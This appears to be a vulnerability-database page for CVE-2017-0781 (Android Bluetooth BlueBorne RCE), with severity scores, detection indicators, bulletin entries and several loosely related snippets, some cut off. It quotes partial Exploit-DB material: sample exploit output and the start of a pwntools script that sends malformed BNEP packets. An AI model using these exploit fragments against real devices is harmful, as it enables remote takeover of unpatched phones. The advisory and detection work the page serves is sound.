CVE-2017-0781
published 2017-09-14CVE-2017-0781: A remote code execution vulnerability in the Android system (bluetooth). Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0…
PriorityP266high8.8CVSS 3.0
AVAACLPRNUINSUCHIHAH
EXPLOIT
EPSS
22.85%
97.5th percentile
A remote code execution vulnerability in the Android system (bluetooth). Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0. Android ID: A-63146105.
Affected
40 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\x17\xaa\xaaAAAAMk!\xb5
- →Exploit sends malformed BNEP SETUP_CONNECTION_REQUEST packets over L2CAP PSM 0xf (BNEP) with the extension bit set and an oversized/malformed control payload — detect anomalous BNEP control frames on this PSM. ↗
- →Exploit sends 30 repeated malformed BNEP packets in rapid succession to the same target — high-frequency BNEP SETUP_CONNECTION_REQUEST bursts from a single source BDADDR are a strong indicator of exploitation. ↗
- →Attacker spoofs/randomises their Bluetooth BDADDR (hci0 set to random address) before each attempt — repeated connection attempts from rapidly changing BDADDRs to BNEP PSM should be treated as suspicious. ↗
- →L2CAP MTU is explicitly set to 1500 bytes by the exploit client — an L2CAP connection to PSM 0xf with MTU negotiated to 1500 from an unknown/untrusted device warrants inspection. ↗
- ·The vulnerability affects Android versions 4.4.4 through 8.0; devices with the September 2017 (2017-09-01) security patch level are not vulnerable — verify patch level before deploying detections. ↗
- ·Exploitation requires Bluetooth to be enabled and discoverable/connectable on the target device; disabling Bluetooth eliminates the attack surface entirely. ↗
- ·The public exploit (exp4.py) was tested specifically against LineageOS 14.1 (Android 7.1.2) without the BlueBorne patch; exploit reliability on other affected versions may vary and may require address-leak tuning. ↗
CVSS provenance
nvdv3.08.8HIGHCVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.08.3HIGHAV:A/AC:L/Au:N/C:C/I:C/A:C
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Android
CVE-2017-0781: Android Security Bulletin 2017-09-01
CVE: CVE-2017-0781
Severity: CRITICAL
Type: RCE
Affected AOSP versions: 4
vendor_android·2017-09-01·CVSS 8.8
CVE-2017-0781 [HIGH] CVE-2017-0781: Android Security Bulletin 2017-09-01
CVE: CVE-2017-0781
Severity: CRITICAL
Type: RCE
Affected AOSP versions: 4
Android Security Bulletin 2017-09-01
CVE: CVE-2017-0781
Severity: CRITICAL
Type: RCE
Affected AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0
References: A-63146105
[2]
GHSA
GHSA-33c5-cxgm-mjpc: A remote code execution vulnerability in the Android system (bluetooth)
ghsa_unreviewed·2022-05-13
CVE-2017-0781 [HIGH] CWE-119 GHSA-33c5-cxgm-mjpc: A remote code execution vulnerability in the Android system (bluetooth)
A remote code execution vulnerability in the Android system (bluetooth). Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0. Android ID: A-63146105.
No detection rules found.
Exploit-DB
LineageOS 14.1 Blueborne - Remote Code Execution
exploitdb·2018-04-06·CVSS 8.8
CVE-2017-0781 [HIGH] LineageOS 14.1 Blueborne - Remote Code Execution
LineageOS 14.1 Blueborne - Remote Code Execution
---
# Exploit Title: LineageOS 14.1 (Android 7.1.2) Blueborne RCE CVE-2017-0781
# Date: 04/01/2018
# Exploit Author: Marcin Kozlowski
# Tested on: LinageOS 14.1 (Android 7.1.2) without BlueBorne Patch
# CVE : CVE-2017-0781
# Provided for legal security research and testing purposes ONLY.
Code in exp4.py
More info in Repo:
https://github.com/marcinguy/android712-blueborne
Sample Execution:
$python exp4.py hci0 84:55:A5:B6:6F:F6
[*] Pwn attempt 0:
[*] Set hci0 to new rand BDADDR 16:e1:66:a7:8a:3d
[↘] Doing stack memeory leak...
00: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
01: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
02: 00000000 00000000 00000000 ad0911c4 9
Exploit-DB
Android Bluetooth - 'Blueborne' Information Leak (1)
exploitdb·2017-08-09·CVSS 8.8
CVE-2017-0781 [HIGH] Android Bluetooth - 'Blueborne' Information Leak (1)
Android Bluetooth - 'Blueborne' Information Leak (1)
---
from pwn import *
import bluetooth
if not 'TARGET' in args:
log.info('Usage: python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX')
exit()
target = args['TARGET']
count = 30 # Amount of packets to send
port = 0xf # BT_PSM_BNEP
context.arch = 'arm'
BNEP_FRAME_CONTROL = 0x01
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01
def set_bnep_header_extension_bit(bnep_header_type):
"""
If the extension flag is equal to 0x1 then
one or more extension headers follows the BNEP
header; If extension flag is equal to 0x0 then the
BNEP payload follows the BNEP header.
"""
return bnep_header_type | 128
def bnep_control_packet(control_type, control_packet):
return p8(control_type) + control_packet
def packet(overflow):
pkt = ''
pkt += p8(set_bnep_header_
Fortinet
BlueBorne May Affect Billions of Bluetooth Devices
blogs_fortinet·2017-09-14·CVSS 8.8
[HIGH] BlueBorne May Affect Billions of Bluetooth Devices
FORTIGUARD LABS THREAT RESEARCH
BlueBorne May Affect Billions of Bluetooth Devices
By Aamir Lakhani | September 14, 2017
Bluetooth is one of the most widely deployed and used connectivity protocols in the world. Everything from electronic devices to smartphones uses it, as do a growing number of IoT devices. Now, a new Bluetooth exploit, known as BlueBorne, exploits a number of Bluetooth vulnerabilities, making literally billions of devices potentially vulnerable to attack.
BlueBorne is a hybrid Trojan-Worm malware that spreads via Bluetooth. Because it includes worm-like properties, any infected system is also a potential carrier, and will actively search for vulnerable hosts. Unfortunately, vulnerable hosts can include any Bluetooth-enabled device, including Android, iOS, Mac OSX, a
arXiv
Dockerized Android: a container-based platform to build mobile Android scenarios for Cyber Ranges
arxiv_fulltext·2022-05-19
Dockerized Android: a container-based platform to build mobile Android scenarios for Cyber Ranges
Dockerized Android: a container-based platform to build mobile Android scenarios for Cyber Ranges
Daniele Capone
SecSI srl
Napoli, Italy
[email protected]
Francesco Caturano
Dept. of Electrical Engineering and Information Technology
University of Napoli Federico II
Napoli, Italy
[email protected]
Angelo Delicato
SecSI srl
Napoli, Italy
[email protected]
Gaetano Perrone
Dept. of Electrical Engineering and Information Technology
University of Napoli Federico II
Napoli, Italy
[email protected]
Simon Pietro Romano
Dept. of Electrical Engineering and Information Technology
University of Napoli Federico II
Napoli, Italy
[email protected]
## Abstract
The best way to train people about security is through Cyber Ranges, i.e., the virtual platform us
arXiv
Vulnerability Analysis of the Android Kernel
arxiv_fulltext·2021-12-20
Vulnerability Analysis of the Android Kernel
## Abstract
We describe a workflow used to analyze the source code of the Android OS kernel and rate for a particular kind of bugginess that exposes a program to hacking. The workflow represents a novel approach for components' vulnerability rating.
The approach is inspired by recent work on embedding source code functions.
The workflow combines deep learning with heuristics and machine learning. Deep learning is used to embed function/method labels into a Euclidean space. Because the corpus of Android kernel source code is rather limited (containing approximately 2 million C/C++ functions & Java methods), a straightforward embedding is untenable. To overcome the challenge of the dearth of data, it's necessary to go through an intermediate step of the Byte-Pair Encoding.
Subsequently, we
arXiv
Approach for GDPR Compliant Detection of COVID-19 Infection Chains
arxiv_fulltext·2020-07-20
Approach for GDPR Compliant Detection of COVID-19 Infection Chains
Approach for GDPR Compliant Detection of COVID-19 Infection Chains
Louis Tajan Dirk Westhoff
Hochschule Offenburg University of Applied Sciences
Offenburg, Germany
louis.tajan, [email protected]
## Abstract
While prospect of tracking mobile devices' users is widely discussed all over European countries to counteract COVID-19 propagation, we propose a Bloom filter based construction providing users' location privacy and preventing mass surveillance.
We apply a solution based on Bloom filters data structure that allows a 3rd party, a government agency, to perform some privacy-preserving set relations on a mobile telco’s access logfile.
By computing set relations, the government agency, given the knowledge of two identified persons, has an instrument that provides a (possib
http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.htmlhttp://www.securityfocus.com/bid/100810https://source.android.com/security/bulletin/2017-09-01https://www.exploit-db.com/exploits/44415/http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.htmlhttp://www.securityfocus.com/bid/100810https://source.android.com/security/bulletin/2017-09-01https://www.exploit-db.com/exploits/44415/
2017-09-14
Published